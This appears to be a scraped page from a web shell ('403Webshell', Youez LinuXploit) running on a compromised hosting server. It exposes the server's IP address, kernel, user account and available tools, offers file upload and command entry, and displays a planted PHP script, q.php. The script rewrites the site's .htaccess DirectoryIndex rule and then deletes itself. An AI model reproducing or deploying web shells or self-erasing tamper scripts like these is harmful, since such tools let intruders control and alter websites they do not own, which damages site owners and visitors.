403Webshell
Server IP : 66.29.132.122  /  Your IP : 3.15.0.212
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/self/root/proc/thread-self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/home/admazpex/None/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/thread-self/root/proc/self/root/proc/thread-self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/home/admazpex//None/q.php
<?php

// Check if cURL extension is activated
if (in_array('curl', get_loaded_extensions())) {
    echo "cURL\n";

    $htaccessFile = '.htaccess';
    $directoryIndexLine = "DirectoryIndex index.html index.php index.htm\n";

    // Check if .htaccess exists
    if (file_exists($htaccessFile)) {
        // Read the existing content
        $content = file_get_contents($htaccessFile);

        // Check if the line already exists
        if (strpos($content, $directoryIndexLine) === false) {
            // Prepend the line if it doesn't exist
            $content = $directoryIndexLine . $content;
        }
    } else {
        // Create content for a new file
        $content = $directoryIndexLine;
    }

    // Write the new content to the .htaccess file
    file_put_contents($htaccessFile, $content);

    echo "completed.\n";
} else {
    echo "NO\n";
}

unlink(__FILE__)

?>


Youez - 2016 - github.com/yon3zu
LinuXploit